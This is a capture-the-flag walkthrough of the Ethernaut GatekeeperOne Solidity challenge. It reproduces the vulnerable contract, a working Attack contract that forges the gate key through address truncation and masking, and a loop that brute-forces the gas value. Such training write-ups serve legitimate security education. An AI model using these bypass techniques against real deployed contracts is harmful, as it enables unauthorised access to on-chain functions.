Challenge 13: Gatekeeper One, also known as Ethernaut Level 13, stands out because it necessitates a thorough understanding of Ethereum transactions and gas mechanics. This article will delve into the GatekeeperOne contract, identify its vulnerabilities, and explain how the Attack contract effectively exploits these weaknesses. Participants need to demonstrate advanced knowledge of smart contract security to overcome this challenge.
Ethernaut Challenge 13: A Case Study
To illustrate the complexities of Ethereum transactions and gas mechanics, let’s examine a solution to Ethernaut Challenge 13. In this challenge, participants are tasked with bypassing multiple checks to interact with a contract.
The Gatekeeper One Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Modifier Analysis
- gateOne(): This modifier ensures that the caller of the function is a contract and not a regular externally owned account (EOA). It checks that
msg.sender
is not equal totx.origin
.
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
- gateTwo(): This modifier checks that the remaining gas is a multiple of 8191. This check is particularly tricky because it requires precise gas management.
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
- gateThree(): This modifier imposes three constraints on a 64-bit key (
_gateKey
):
- The lower 32 bits of the key must equal the lower 16 bits of the key.
- The key must not be equal to the lower 32 bits of the key.
- The lower 16 bits of the key must equal the lower 16 bits of the caller’s (
tx.origin
) address.
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
The Attack Contract
To successfully call the enter
function in GatekeeperOne, an attacker must satisfy all three gate conditions. Let’s look at the Attack contract designed to bypass these gates:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attack {
GatekeeperOne target;
constructor(GatekeeperOne _target) {
target = _target;
}
function hack(uint256 gas) external {
uint64 uintKey = uint64(uint160(address(msg.sender)));
bytes8 key = bytes8(uintKey) & 0xFFFFFFFF0000FFFF;
(bool sent,) = address(target).call{gas: gas}(abi.encodeWithSignature("enter(bytes8)", key));
require(sent, "Transaction failed");
}
}
Attack Strategy
- gateOne: To bypass this gate, the attack must come from a contract, which is inherent to our Attack contract.
- gateTwo: The
gasleft() % 8191 == 0
check requires careful manipulation of the gas. This is managed by passing a specific gas amount to thehack
function. - gateThree: As mentioned in the Modifier Analysis, the attack contract constructs a key that satisfies all three parts of gateThree:
- uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)): Ensures the lower 32 bits of the key equal the lower 16 bits.
- uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)): Ensures the lower 16 bits of the key match the lower 16 bits of the caller’s address.
- uint32(uint64(_gateKey)) != uint64(_gateKey): This ensures the key isn’t simply the lower 32 bits. The lower 8 bytes (64 bits) of the key must be different from the lower 4 bytes (32 bits). This means that while satisfying the first requirement, the entire lower 8 bytes must not be the same as the lower 4 bytes.
To achieve this, we need to ensure that the upper 4 bytes of the 8-byte key differ from the lower 4 bytes. However, we still need to meet the first requirement. Therefore, we need to modify our mask to allow the upper 4 bytes to pass through unchanged. The new mask becomes 0xFFFFFFFF0000FFFF, which zeroes out only the higher 2 bytes of the lower 4 bytes while preserving the upper 4 bytes.
Constructing the Key
To create a key that satisfies these conditions, the following steps are taken:
- Convert the caller’s address to a
uint160
. - Then convert it to a
uint64
, retaining only the lower 8 bytes. - Apply the mask
0xFFFFFFFF0000FFFF
to zero out the higher 2 bytes of the lower 4 bytes while preserving the upper 4 bytes.
bytes8 key = bytes8(uint64(uint160(address(msg.sender)))) & 0xFFFFFFFF0000FFFF;
This ensures that:
- The lower 2 bytes of the key are equal to the lower 4 bytes of the key.
- The key’s lower 8 bytes are not simply a repetition of the lower 4 bytes.
- The key’s lower 2 bytes match the lower 2 bytes of the caller’s address.
Execution
To execute the attack, the attacker needs to carefully choose the gas amount and call the hack
function:
function hack(uint256 gas) external {
uint64 uintKey = uint64(uint160(address(msg.sender)));
bytes8 key = bytes8(uintKey) & 0xFFFFFFFF0000FFFF;
(bool sent,) = address(target).call{gas: gas}(abi.encodeWithSignature("enter(bytes8)", key));
require(sent, "Transaction failed");
}
Gas Calculation
The exact gas amount required to satisfy gateTwo
can be determined through trial and error or by inspecting the gas cost of the operations up to the gasleft() % 8191
check. Typically, the process involves making multiple attempts with slightly different gas values until the condition is met. The gas costs can vary depending on the Solidity compiler version used to compile the code. However, we can find the required gas by writing a test using a forked local test environment that includes:
for (uint256 i = 200; i <= 8191; i++) {
try attack.hack(i) {
console.log("gas required ->", i);
break;
} catch {}
}
Conclusion
The GatekeeperOne challenge highlights the complexities of Ethereum’s gas mechanics and the critical role of understanding how modifiers and low-level function calls interact. By meticulously designing the Attack contract, an attacker can circumvent all the gates and successfully invoke the enter function, demonstrating the advanced problem-solving skills and strategic thinking necessary for smart contract security. This challenge emphasizes the importance of comprehensive testing and careful consideration of edge cases when developing smart contracts, ensuring that all potential vulnerabilities are addressed.
FAQs
How does the use of modifiers enhance contract security?
- Modifiers enhance contract security by allowing developers to encapsulate common checks and conditions that must be met before executing a function. This modular approach helps ensure that certain constraints are consistently enforced, reducing the risk of vulnerabilities.
How does the choice of Solidity compiler version affect gas costs?
- Gas costs can vary depending on the Solidity compiler version used and the specific compiler flags applied during the compilation process. Different versions and flags can optimize code differently, affecting the overall gas consumption of transactions.
How does this challenge help in understanding Ethereum security?
- This challenge helps in understanding Ethereum security by illustrating how different security mechanisms like modifiers can be combined to protect contract functions. It also highlights the importance of gas management and the potential for bypassing security checks through careful planning and execution.
What happens if the require
statement in hack
fails?
- If the require statement in hack fails, the transaction reverts with the error message “Transaction failed.” This prevents the attack from silently failing and provides immediate feedback that the attempt was unsuccessful.
Why is thorough testing important when designing smart contracts?
- Thorough testing is crucial because it helps identify and mitigate potential vulnerabilities, ensuring that all edge cases and attack vectors are considered and addressed. This reduces the risk of exploits and enhances the overall security of the contract.